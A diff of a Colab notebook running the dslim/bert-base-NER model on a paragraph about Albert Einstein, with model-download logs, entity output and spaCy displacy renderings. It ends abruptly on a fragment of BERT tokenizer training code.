+            "  \"model_type\": \"bert\",\n",
+            "  \"num_attention_heads\": 12,\n",
+            "  \"num_hidden_layers\": 12,\n",
+            "  \"output_past\": true,\n",
+            "  \"pad_token_id\": 0,\n",
+            "  \"position_embedding_type\": \"absolute\",\n",
+            "  \"transformers_version\": \"4.17.0\",\n",
+            "  \"type_vocab_size\": 2,\n",
+            "  \"use_cache\": true,\n",
+            "  \"vocab_size\": 28996\n",
+            "}\n",
+            "\n",
+            "loading configuration file https://huggingface.co/dslim/bert-base-NER/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/a5ff16a1d557b5ad480f50b1d454448475c644d08df9ce8fccabea7745bebd9f.a61836f2236a3ff1a0827544e2d7c512cbb8cd26ed7b32d643526bebb5d7f92e\n",
+            "Model config BertConfig {\n",
+            "  \"_name_or_path\": \"dslim/bert-base-NER\",\n",
+            "  \"_num_labels\": 9,\n",
+            "  \"architectures\": [\n",
+            "    \"BertForTokenClassification\"\n",
+            "  ],\n",
+            "  \"attention_probs_dropout_prob\": 0.1,\n",
+            "  \"classifier_dropout\": null,\n",
+            "  \"hidden_act\": \"gelu\",\n",
+            "  \"hidden_dropout_prob\": 0.1,\n",
+            "  \"hidden_size\": 768,\n",
+            "  \"id2label\": {\n",
+            "    \"0\": \"O\",\n",
+            "    \"1\": \"B-MISC\",\n",
+            "    \"2\": \"I-MISC\",\n",
+            "    \"3\": \"B-PER\",\n",
+            "    \"4\": \"I-PER\",\n",
+            "    \"5\": \"B-ORG\",\n",
+            "    \"6\": \"I-ORG\",\n",
+            "    \"7\": \"B-LOC\",\n",
+            "    \"8\": \"I-LOC\"\n",
+            "  },\n",
+            "  \"initializer_range\": 0.02,\n",
+            "  \"intermediate_size\": 3072,\n",
+            "  \"label2id\": {\n",
+            "    \"B-LOC\": 7,\n",
+            "    \"B-MISC\": 1,\n",
+            "    \"B-ORG\": 5,\n",
+            "    \"B-PER\": 3,\n",
+            "    \"I-LOC\": 8,\n",
+            "    \"I-MISC\": 2,\n",
+            "    \"I-ORG\": 6,\n",
+            "    \"I-PER\": 4,\n",
+            "    \"O\": 0\n",
+            "  },\n",
+            "  \"layer_norm_eps\": 1e-12,\n",
+            "  \"max_position_embeddings\": 512,\n",
+            "  \"model_type\": \"bert\",\n",
+            "  \"num_attention_heads\": 12,\n",
+            "  \"num_hidden_layers\": 12,\n",
+            "  \"output_past\": true,\n",
+            "  \"pad_token_id\": 0,\n",
+            "  \"position_embedding_type\": \"absolute\",\n",
+            "  \"transformers_version\": \"4.17.0\",\n",
+            "  \"type_vocab_size\": 2,\n",
+            "  \"use_cache\": true,\n",
+            "  \"vocab_size\": 28996\n",
+            "}\n",
+            "\n",
+            "https://huggingface.co/dslim/bert-base-NER/resolve/main/pytorch_model.bin%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmp3dj5kcbv/n"
+          ]
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Downloading:   0%|          | 0.00/413M [00:00, ?B/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "1ea8bede937f4f2a86aa2a3e171f01f5"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "storing https://huggingface.co/dslim/bert-base-NER/resolve/main/pytorch_model.bin in cache at /root/.cache/huggingface/transformers/3ca763a5697d51432247d711b6aae51030a05f5b0c9a59cb83b20255eabb7ff4.aeec53fbb8d04bbdb0c84621a6f18491499bffc49a246808de99e63e7684ad79\n",
+            "creating metadata file for /root/.cache/huggingface/transformers/3ca763a5697d51432247d711b6aae51030a05f5b0c9a59cb83b20255eabb7ff4.aeec53fbb8d04bbdb0c84621a6f18491499bffc49a246808de99e63e7684ad79\n",
+            "loading weights file https://huggingface.co/dslim/bert-base-NER/resolve/main/pytorch_model.bin from cache at /root/.cache/huggingface/transformers/3ca763a5697d51432247d711b6aae51030a05f5b0c9a59cb83b20255eabb7ff4.aeec53fbb8d04bbdb0c84621a6f18491499bffc49a246808de99e63e7684ad79\n",
+            "All model checkpoint weights were used when initializing BertForTokenClassification.\n",
+            "\n",
+            "All the weights of BertForTokenClassification were initialized from the model checkpoint at dslim/bert-base-NER.\n",
+            "If your task is similar to the task the model of the checkpoint was trained on, you can already use BertForTokenClassification for predictions without further training.\n",
+            "https://huggingface.co/dslim/bert-base-NER/resolve/main/tokenizer_config.json%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmpv46yx0ht/n"
+          ]
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Downloading:   0%|          | 0.00/59.0 [00:00, ?B/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "9e3f6b5478bc40b59588b45a21baa8ba"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "storing https://huggingface.co/dslim/bert-base-NER/resolve/main/tokenizer_config.json in cache at /root/.cache/huggingface/transformers/de9f40a9d698f5f7227cbc2798430cb498bb680bcd657f1c2bd897a6a2f63953.6391beef2ceed2cdba47401eb12680200856c97d2f2b56143e515d7c0f36a66a\n",
+            "creating metadata file for /root/.cache/huggingface/transformers/de9f40a9d698f5f7227cbc2798430cb498bb680bcd657f1c2bd897a6a2f63953.6391beef2ceed2cdba47401eb12680200856c97d2f2b56143e515d7c0f36a66a\n",
+            "loading configuration file https://huggingface.co/dslim/bert-base-NER/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/a5ff16a1d557b5ad480f50b1d454448475c644d08df9ce8fccabea7745bebd9f.a61836f2236a3ff1a0827544e2d7c512cbb8cd26ed7b32d643526bebb5d7f92e\n",
+            "Model config BertConfig {\n",
+            "  \"_name_or_path\": \"dslim/bert-base-NER\",\n",
+            "  \"_num_labels\": 9,\n",
+            "  \"architectures\": [\n",
+            "    \"BertForTokenClassification\"\n",
+            "  ],\n",
+            "  \"attention_probs_dropout_prob\": 0.1,\n",
+            "  \"classifier_dropout\": null,\n",
+            "  \"hidden_act\": \"gelu\",\n",
+            "  \"hidden_dropout_prob\": 0.1,\n",
+            "  \"hidden_size\": 768,\n",
+            "  \"id2label\": {\n",
+            "    \"0\": \"O\",\n",
+            "    \"1\": \"B-MISC\",\n",
+            "    \"2\": \"I-MISC\",\n",
+            "    \"3\": \"B-PER\",\n",
+            "    \"4\": \"I-PER\",\n",
+            "    \"5\": \"B-ORG\",\n",
+            "    \"6\": \"I-ORG\",\n",
+            "    \"7\": \"B-LOC\",\n",
+            "    \"8\": \"I-LOC\"\n",
+            "  },\n",
+            "  \"initializer_range\": 0.02,\n",
+            "  \"intermediate_size\": 3072,\n",
+            "  \"label2id\": {\n",
+            "    \"B-LOC\": 7,\n",
+            "    \"B-MISC\": 1,\n",
+            "    \"B-ORG\": 5,\n",
+            "    \"B-PER\": 3,\n",
+            "    \"I-LOC\": 8,\n",
+            "    \"I-MISC\": 2,\n",
+            "    \"I-ORG\": 6,\n",
+            "    \"I-PER\": 4,\n",
+            "    \"O\": 0\n",
+            "  },\n",
+            "  \"layer_norm_eps\": 1e-12,\n",
+            "  \"max_position_embeddings\": 512,\n",
+            "  \"model_type\": \"bert\",\n",
+            "  \"num_attention_heads\": 12,\n",
+            "  \"num_hidden_layers\": 12,\n",
+            "  \"output_past\": true,\n",
+            "  \"pad_token_id\": 0,\n",
+            "  \"position_embedding_type\": \"absolute\",\n",
+            "  \"transformers_version\": \"4.17.0\",\n",
+            "  \"type_vocab_size\": 2,\n",
+            "  \"use_cache\": true,\n",
+            "  \"vocab_size\": 28996\n",
+            "}\n",
+            "\n",
+            "https://huggingface.co/dslim/bert-base-NER/resolve/main/vocab.txt%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmpiutq81pm/n"
+          ]
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Downloading:   0%|          | 0.00/208k [00:00, ?B/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "8b83c336f76a450998d42074740f8ba7"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "storing https://huggingface.co/dslim/bert-base-NER/resolve/main/vocab.txt in cache at /root/.cache/huggingface/transformers/d426f14ce999ecd9a2f26bd379117e988775a97ca1d30e72941824935563e2a6.437aa611e89f6fc6675a049d2b5545390adbc617e7d655286421c191d2be2791\n",
+            "creating metadata file for /root/.cache/huggingface/transformers/d426f14ce999ecd9a2f26bd379117e988775a97ca1d30e72941824935563e2a6.437aa611e89f6fc6675a049d2b5545390adbc617e7d655286421c191d2be2791\n",
+            "https://huggingface.co/dslim/bert-base-NER/resolve/main/added_tokens.json%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmpjzl23ls3/n"
+          ]
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Downloading:   0%|          | 0.00/2.00 [00:00, ?B/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "59432e64a20f4a1f840a4a4e4219b61a"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "storing https://huggingface.co/dslim/bert-base-NER/resolve/main/added_tokens.json in cache at /root/.cache/huggingface/transformers/256d34bb8f151641e2ce0fcb0263b6652c9ddd412b271fddb03da7d3c6d74448.5cc6e825eb228a7a5cfd27cb4d7151e97a79fb962b31aaf1813aa102e746584b\n",
+            "creating metadata file for /root/.cache/huggingface/transformers/256d34bb8f151641e2ce0fcb0263b6652c9ddd412b271fddb03da7d3c6d74448.5cc6e825eb228a7a5cfd27cb4d7151e97a79fb962b31aaf1813aa102e746584b\n",
+            "https://huggingface.co/dslim/bert-base-NER/resolve/main/special_tokens_map.json%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmp4o8j4zmq/n"
+          ]
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "Downloading:   0%|          | 0.00/112 [00:00, ?B/s]"
+            ],
+            "application/vnd.jupyter.widget-view+json": {
+              "version_major": 2,
+              "version_minor": 0,
+              "model_id": "b13e766210c44230a2d4a027fe3e5c21"
+            }
+          },
+          "metadata": {}
+        },
+        {
+          "output_type": "stream",
+          "name": "stderr",
+          "text": [
+            "storing https://huggingface.co/dslim/bert-base-NER/resolve/main/special_tokens_map.json in cache at /root/.cache/huggingface/transformers/8ecdadef2bc275e74e0d4541ae8a5db151fba13174b86dfa88ef5765d30feb77.dd8bd9bfd3664b530ea4e645105f557769387b3da9f79bdb55ed556bdd80611d\n",
+            "creating metadata file for /root/.cache/huggingface/transformers/8ecdadef2bc275e74e0d4541ae8a5db151fba13174b86dfa88ef5765d30feb77.dd8bd9bfd3664b530ea4e645105f557769387b3da9f79bdb55ed556bdd80611d\n",
+            "loading file https://huggingface.co/dslim/bert-base-NER/resolve/main/vocab.txt from cache at /root/.cache/huggingface/transformers/d426f14ce999ecd9a2f26bd379117e988775a97ca1d30e72941824935563e2a6.437aa611e89f6fc6675a049d2b5545390adbc617e7d655286421c191d2be2791\n",
+            "loading file https://huggingface.co/dslim/bert-base-NER/resolve/main/tokenizer.json from cache at None\n",
+            "loading file https://huggingface.co/dslim/bert-base-NER/resolve/main/added_tokens.json from cache at /root/.cache/huggingface/transformers/256d34bb8f151641e2ce0fcb0263b6652c9ddd412b271fddb03da7d3c6d74448.5cc6e825eb228a7a5cfd27cb4d7151e97a79fb962b31aaf1813aa102e746584b\n",
+            "loading file https://huggingface.co/dslim/bert-base-NER/resolve/main/special_tokens_map.json from cache at /root/.cache/huggingface/transformers/8ecdadef2bc275e74e0d4541ae8a5db151fba13174b86dfa88ef5765d30feb77.dd8bd9bfd3664b530ea4e645105f557769387b3da9f79bdb55ed556bdd80611d\n",
+            "loading file https://huggingface.co/dslim/bert-base-NER/resolve/main/tokenizer_config.json from cache at /root/.cache/huggingface/transformers/de9f40a9d698f5f7227cbc2798430cb498bb680bcd657f1c2bd897a6a2f63953.6391beef2ceed2cdba47401eb12680200856c97d2f2b56143e515d7c0f36a66a\n",
+            "loading configuration file https://huggingface.co/dslim/bert-base-NER/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/a5ff16a1d557b5ad480f50b1d454448475c644d08df9ce8fccabea7745bebd9f.a61836f2236a3ff1a0827544e2d7c512cbb8cd26ed7b32d643526bebb5d7f92e\n",
+            "Model config BertConfig {\n",
+            "  \"_name_or_path\": \"dslim/bert-base-NER\",\n",
+            "  \"_num_labels\": 9,\n",
+            "  \"architectures\": [\n",
+            "    \"BertForTokenClassification\"\n",
+            "  ],\n",
+            "  \"attention_probs_dropout_prob\": 0.1,\n",
+            "  \"classifier_dropout\": null,\n",
+            "  \"hidden_act\": \"gelu\",\n",
+            "  \"hidden_dropout_prob\": 0.1,\n",
+            "  \"hidden_size\": 768,\n",
+            "  \"id2label\": {\n",
+            "    \"0\": \"O\",\n",
+            "    \"1\": \"B-MISC\",\n",
+            "    \"2\": \"I-MISC\",\n",
+            "    \"3\": \"B-PER\",\n",
+            "    \"4\": \"I-PER\",\n",
+            "    \"5\": \"B-ORG\",\n",
+            "    \"6\": \"I-ORG\",\n",
+            "    \"7\": \"B-LOC\",\n",
+            "    \"8\": \"I-LOC\"\n",
+            "  },\n",
+            "  \"initializer_range\": 0.02,\n",
+            "  \"intermediate_size\": 3072,\n",
+            "  \"label2id\": {\n",
+            "    \"B-LOC\": 7,\n",
+            "    \"B-MISC\": 1,\n",
+            "    \"B-ORG\": 5,\n",
+            "    \"B-PER\": 3,\n",
+            "    \"I-LOC\": 8,\n",
+            "    \"I-MISC\": 2,\n",
+            "    \"I-ORG\": 6,\n",
+            "    \"I-PER\": 4,\n",
+            "    \"O\": 0\n",
+            "  },\n",
+            "  \"layer_norm_eps\": 1e-12,\n",
+            "  \"max_position_embeddings\": 512,\n",
+            "  \"model_type\": \"bert\",\n",
+            "  \"num_attention_heads\": 12,\n",
+            "  \"num_hidden_layers\": 12,\n",
+            "  \"output_past\": true,\n",
+            "  \"pad_token_id\": 0,\n",
+            "  \"position_embedding_type\": \"absolute\",\n",
+            "  \"transformers_version\": \"4.17.0\",\n",
+            "  \"type_vocab_size\": 2,\n",
+            "  \"use_cache\": true,\n",
+            "  \"vocab_size\": 28996\n",
+            "}\n",
+            "\n",
+            "loading configuration file https://huggingface.co/dslim/bert-base-NER/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/a5ff16a1d557b5ad480f50b1d454448475c644d08df9ce8fccabea7745bebd9f.a61836f2236a3ff1a0827544e2d7c512cbb8cd26ed7b32d643526bebb5d7f92e\n",
+            "Model config BertConfig {\n",
+            "  \"_name_or_path\": \"dslim/bert-base-NER\",\n",
+            "  \"_num_labels\": 9,\n",
+            "  \"architectures\": [\n",
+            "    \"BertForTokenClassification\"\n",
+            "  ],\n",
+            "  \"attention_probs_dropout_prob\": 0.1,\n",
+            "  \"classifier_dropout\": null,\n",
+            "  \"hidden_act\": \"gelu\",\n",
+            "  \"hidden_dropout_prob\": 0.1,\n",
+            "  \"hidden_size\": 768,\n",
+            "  \"id2label\": {\n",
+            "    \"0\": \"O\",\n",
+            "    \"1\": \"B-MISC\",\n",
+            "    \"2\": \"I-MISC\",\n",
+            "    \"3\": \"B-PER\",\n",
+            "    \"4\": \"I-PER\",\n",
+            "    \"5\": \"B-ORG\",\n",
+            "    \"6\": \"I-ORG\",\n",
+            "    \"7\": \"B-LOC\",\n",
+            "    \"8\": \"I-LOC\"\n",
+            "  },\n",
+            "  \"initializer_range\": 0.02,\n",
+            "  \"intermediate_size\": 3072,\n",
+            "  \"label2id\": {\n",
+            "    \"B-LOC\": 7,\n",
+            "    \"B-MISC\": 1,\n",
+            "    \"B-ORG\": 5,\n",
+            "    \"B-PER\": 3,\n",
+            "    \"I-LOC\": 8,\n",
+            "    \"I-MISC\": 2,\n",
+            "    \"I-ORG\": 6,\n",
+            "    \"I-PER\": 4,\n",
+            "    \"O\": 0\n",
+            "  },\n",
+            "  \"layer_norm_eps\": 1e-12,\n",
+            "  \"max_position_embeddings\": 512,\n",
+            "  \"model_type\": \"bert\",\n",
+            "  \"num_attention_heads\": 12,\n",
+            "  \"num_hidden_layers\": 12,\n",
+            "  \"output_past\": true,\n",
+            "  \"pad_token_id\": 0,\n",
+            "  \"position_embedding_type\": \"absolute\",\n",
+            "  \"transformers_version\": \"4.17.0\",\n",
+            "  \"type_vocab_size\": 2,\n",
+            "  \"use_cache\": true,\n",
+            "  \"vocab_size\": 28996\n",
+            "}\n",
+            "\n"
+          ]
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "# perform inference on the transformer model\n",
+        "doc_ner = ner(text)\n",
+        "# print the output\n",
+        "doc_ner"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "k093PtEW_CAV",
+        "outputId": "b0eb315b-f1be-46c4-fd9d-fef44a0553c6"
+      },
+      "execution_count": 7,
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "[{'end': 7,\n",
+              "  'entity': 'B-PER',\n",
+              "  'index': 1,\n",
+              "  'score': 0.99949145,\n",
+              "  'start': 1,\n",
+              "  'word': 'Albert'},\n",
+              " {'end': 16,\n",
+              "  'entity': 'I-PER',\n",
+              "  'index': 2,\n",
+              "  'score': 0.998417,\n",
+              "  'start': 8,\n",
+              "  'word': 'Einstein'},\n",
+              " {'end': 29,\n",
+              "  'entity': 'B-MISC',\n",
+              "  'index': 5,\n",
+              "  'score': 0.99211043,\n",
+              "  'start': 23,\n",
+              "  'word': 'German'},\n",
+              " {'end': 158,\n",
+              "  'entity': 'B-PER',\n",
+              "  'index': 28,\n",
+              "  'score': 0.99736506,\n",
+              "  'start': 150,\n",
+              "  'word': 'Einstein'},\n",
+              " {'end': 318,\n",
+              "  'entity': 'B-PER',\n",
+              "  'index': 55,\n",
+              "  'score': 0.9977113,\n",
+              "  'start': 310,\n",
+              "  'word': 'Einstein'},\n",
+              " {'end': 341,\n",
+              "  'entity': 'B-LOC',\n",
+              "  'index': 60,\n",
+              "  'score': 0.50242233,\n",
+              "  'start': 335,\n",
+              "  'word': 'German'},\n",
+              " {'end': 348,\n",
+              "  'entity': 'I-LOC',\n",
+              "  'index': 61,\n",
+              "  'score': 0.95330054,\n",
+              "  'start': 342,\n",
+              "  'word': 'Empire'},\n",
+              " {'end': 374,\n",
+              "  'entity': 'B-LOC',\n",
+              "  'index': 66,\n",
+              "  'score': 0.99978524,\n",
+              "  'start': 363,\n",
+              "  'word': 'Switzerland'},\n",
+              " {'end': 404,\n",
+              "  'entity': 'B-MISC',\n",
+              "  'index': 74,\n",
+              "  'score': 0.9995827,\n",
+              "  'start': 398,\n",
+              "  'word': 'German'},\n",
+              " {'end': 460,\n",
+              "  'entity': 'B-LOC',\n",
+              "  'index': 84,\n",
+              "  'score': 0.9994709,\n",
+              "  'start': 449,\n",
+              "  'word': 'Württemberg'},\n",
+              " {'end': 590,\n",
+              "  'entity': 'B-MISC',\n",
+              "  'index': 111,\n",
+              "  'score': 0.9888771,\n",
+              "  'start': 585,\n",
+              "  'word': 'Swiss'},\n",
+              " {'end': 627,\n",
+              "  'entity': 'B-LOC',\n",
+              "  'index': 119,\n",
+              "  'score': 0.9977405,\n",
+              "  'start': 621,\n",
+              "  'word': 'Zürich'}]"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 7
+        }
+      ]
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "def get_entities_html(text, ner_result, title=None):\n",
+        "  \"\"\"Returns a visual version of NER with the help of SpaCy\"\"\"\n",
+        "  ents = []\n",
+        "  for ent in ner_result:\n",
+        "    e = {}\n",
+        "    # add the start and end positions of the entity\n",
+        "    e[\"start\"] = ent[\"start\"]\n",
+        "    e[\"end\"] = ent[\"end\"]\n",
+        "    # add the score if you want in the label\n",
+        "    # e[\"label\"] = f\"{ent[\"entity\"]}-{ent['score']:.2f}\"\n",
+        "    e[\"label\"] = ent[\"entity\"]\n",
+        "    if ents and -1 <= ent[\"start\"] - ents[-1][\"end\"] <= 1 and ents[-1][\"label\"] == e[\"label\"]:\n",
+        "      # if the current entity is shared with previous entity\n",
+        "      # simply extend the entity end position instead of adding a new one\n",
+        "      ents[-1][\"end\"] = e[\"end\"]\n",
+        "      continue\n",
+        "    ents.append(e)\n",
+        "  # construct data required for displacy.render() method\n",
+        "  render_data = [\n",
+        "    {\n",
+        "      \"text\": text,\n",
+        "      \"ents\": ents,\n",
+        "      \"title\": title,\n",
+        "    }\n",
+        "  ]\n",
+        "  return spacy.displacy.render(render_data, style=\"ent\", manual=True, jupyter=True)"
+      ],
+      "metadata": {
+        "id": "TbVK1qZB1zYt"
+      },
+      "execution_count": 8,
+      "outputs": []
+    },
+    {
+      "cell_type": "code",
+      "source": [
+        "# get HTML representation of NER of our text\n",
+        "get_entities_html(text, doc_ner)"
+      ],
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 192
+        },
+        "id": "0ldndjZS3GwN",
+        "outputId": "dd4f3eb5-1358-4b0d-dab7-3829632ed290"
+      },
+      "execution_count": 9,
+      "outputs": [
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              ""
+            ],
+            "text/html": [
+              "\n",
+              "\n",
+              "    Albert\n",
+              "    B-PER \n",
+              " \n",
+              " \n",
+              "\n",
+              "    Einstein\n",
+              "    I-PER \n",
+              " \n",
+              " was a \n",
+              "\n",
+              "    German\n",
+              "    B-MISC \n",
+              " \n",
+              "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. \n",
+              "\n",
+              "    Einstein\n",
+              "    B-PER \n",
+              " \n",
+              " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.\n",
+              "\n",
+              "    Einstein\n",
+              "    B-PER \n",
+              " \n",
+              " was born in the \n",
+              "\n",
+              "    German\n",
+              "    B-LOC \n",
+              " \n",
+              " \n",
+              "\n",
+              "    Empire\n",
+              "    I-LOC \n",
+              " \n",
+              ", but moved to \n",
+              "\n",
+              "    Switzerland\n",
+              "    B-LOC \n",
+              " \n",
+              " in 1895, forsaking his \n",
+              "\n",
+              "    German\n",
+              "    B-MISC \n",
+              " \n",
+              " citizenship (as a subject of the Kingdom of \n",
+              "\n",
+              "    Württemberg\n",
+              "    B-LOC \n",
+              " \n",
+              ") the following year. In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the \n",
+              "\n",
+              "    Swiss\n",
+              "    B-MISC \n",
+              " \n",
+              " Federal polytechnic school in \n",
+              "\n",
+              "    Zürich\n",
+              "    B-LOC \n",
+              " \n",
+              ", graduating in 1900
"
+            ],
+            "text/html": [
+              "\n",
+              "\n",
+              "    Albert Einstein\n",
+              "    I-PER \n",
+              " \n",
+              " was a \n",
+              "\n",
+              "    German\n",
+              "    I-MISC \n",
+              " \n",
+              "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. \n",
+              "\n",
+              "    Einstein\n",
+              "    I-PER \n",
+              " \n",
+              " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.\n",
+              "\n",
+              "    Einstein\n",
+              "    I-PER \n",
+              " \n",
+              " was born in the \n",
+              "\n",
+              "    German Empire\n",
+              "    I-LOC \n",
+              " \n",
+              ", but moved to \n",
+              "\n",
+              "    Switzerland\n",
+              "    I-LOC \n",
+              " \n",
+              " in 1895, forsaking his \n",
+              "\n",
+              "    German\n",
+              "    I-MISC \n",
+              " \n",
+              " citizenship (as a subject of the \n",
+              "\n",
+              "    Kingdom of Württemberg\n",
+              "    I-LOC \n",
+              " \n",
+              ") the following year. In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the \n",
+              "\n",
+              "    Swiss\n",
+              "    I-MISC \n",
+              " \n",
+              " \n",
+              "\n",
+              "    Federal\n",
+              "    I-ORG \n",
+              " \n",
+              " polytechnic school in \n",
+              "\n",
+              "    Zürich\n",
+              "    I-LOC \n",
+              " \n",
+              ", graduating in 1900
"
+            ],
+            "text/html": [
+              "\n",
+              "\n",
+              "    Albert Einstein\n",
+              "    PER \n",
+              " \n",
+              " was a \n",
+              "\n",
+              "    German-born\n",
+              "    MISC \n",
+              " \n",
+              " theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. \n",
+              "\n",
+              "    Einstein\n",
+              "    PER \n",
+              " \n",
+              " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.\n",
+              "\n",
+              "    Einstein\n",
+              "    PER \n",
+              " \n",
+              " was born in the \n",
+              "\n",
+              "    German Empire\n",
+              "    LOC \n",
+              " \n",
+              ", but moved to \n",
+              "\n",
+              "    Switzerland\n",
+              "    LOC \n",
+              " \n",
+              " in 1895, forsaking his \n",
+              "\n",
+              "    German\n",
+              "    MISC \n",
+              " \n",
+              " citizenship (as a subject of the \n",
+              "\n",
+              "    Kingdom of Württemberg\n",
+              "    LOC \n",
+              " \n",
+              ") the following year. In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the \n",
+              "\n",
+              "    Swiss\n",
+              "    MISC \n",
+              " \n",
+              " \n",
+              "\n",
+              "    Federal\n",
+              "    ORG \n",
+              " \n",
+              " polytechnic school in \n",
+              "\n",
+              "    Zürich\n",
+              "    LOC \n",
+              " \n",
+              ", graduating in 1900
"
+            ],
+            "text/html": [
+              "\n",
+              "\n",
+              "    Albert Einstein\n",
+              "    PERSON \n",
+              " \n",
+              " was a \n",
+              "\n",
+              "    German\n",
+              "    NORP \n",
+              " \n",
+              "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. \n",
+              "\n",
+              "    Einstein\n",
+              "    PERSON \n",
+              " \n",
+              " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of \n",
+              "\n",
+              "    quantum mechanics\n",
+              "    ORG \n",
+              " \n",
+              ".\n",
+              "\n",
+              "    Einstein\n",
+              "    PERSON \n",
+              " \n",
+              " was born in \n",
+              "\n",
+              "    the German Empire\n",
+              "    GPE \n",
+              " \n",
+              ", but moved to \n",
+              "\n",
+              "    Switzerland\n",
+              "    GPE \n",
+              " \n",
+              " in \n",
+              "\n",
+              "    1895\n",
+              "    DATE \n",
+              " \n",
+              ", forsaking his \n",
+              "\n",
+              "    German\n",
+              "    NORP \n",
+              " \n",
+              " citizenship (as a subject of \n",
+              "\n",
+              "    the Kingdom of Württemberg\n",
+              "    GPE \n",
+              " \n",
+              ") \n",
+              "\n",
+              "    the following year\n",
+              "    DATE \n",
+              " \n",
+              ". In \n",
+              "\n",
+              "    1897\n",
+              "    DATE \n",
+              " \n",
+              ", at \n",
+              "\n",
+              "    the age of 17\n",
+              "    DATE \n",
+              " \n",
+              ", he enrolled in the mathematics and physics teaching diploma program at the \n",
+              "\n",
+              "    Swiss\n",
+              "    NORP \n",
+              " \n",
+              " Federal polytechnic school in \n",
+              "\n",
+              "    Zürich\n",
+              "    GPE \n",
+              " \n",
+              ", graduating in \n",
+              "\n",
+              "    1900\n",
+              "    DATE \n",
+              " \n",
+              "
"
+            ],
+            "text/html": [
+              "\n",
+              "\n",
+              "    Albert Einstein\n",
+              "    PERSON \n",
+              " \n",
+              " was a \n",
+              "\n",
+              "    German\n",
+              "    NORP \n",
+              " \n",
+              "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. \n",
+              "\n",
+              "    Einstein\n",
+              "    PERSON \n",
+              " \n",
+              " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.\n",
+              "\n",
+              "    Einstein\n",
+              "    PERSON \n",
+              " \n",
+              " was born in \n",
+              "\n",
+              "    the German Empire\n",
+              "    GPE \n",
+              " \n",
+              ", but moved to \n",
+              "\n",
+              "    Switzerland\n",
+              "    GPE \n",
+              " \n",
+              " in \n",
+              "\n",
+              "    1895\n",
+              "    DATE \n",
+              " \n",
+              ", forsaking his \n",
+              "\n",
+              "    German\n",
+              "    NORP \n",
+              " \n",
+              " citizenship (as a subject of \n",
+              "\n",
+              "    the Kingdom of Württemberg\n",
+              "    GPE \n",
+              " \n",
+              ") \n",
+              "\n",
+              "    the following year\n",
+              "    DATE \n",
+              " \n",
+              ". In \n",
+              "\n",
+              "    1897\n",
+              "    DATE \n",
+              " \n",
+              ", at \n",
+              "\n",
+              "    the age of 17\n",
+              "    DATE \n",
+              " \n",
+              ", he enrolled in the mathematics and physics teaching diploma program at the \n",
+              "\n",
+              "    Swiss Federal\n",
+              "    ORG \n",
+              " \n",
+              " polytechnic school in \n",
+              "\n",
+              "    Zürich\n",
+              "    GPE \n",
+              " \n",
+              ", graduating in \n",
+              "\n",
+              "    1900\n",
+              "    DATE \n",
+              " \n",
+              "
\", \"\"\n",
+        "]\n",
+        "# if you want to train the tokenizer on both sets\n",
+        "# files = [\"train.txt\", \"test.txt\"]\n",
+        "# training the tokenizer on the training set\n",
+        "files = [\"train.txt\"]\n",
+        "# 30,522 vocab is BERT's default vocab size, feel free to tweak\n",
+        "vocab_size = 30_522\n",
+        "# maximum sequence length, lowering will result to faster training (when increasing batch size)\n",
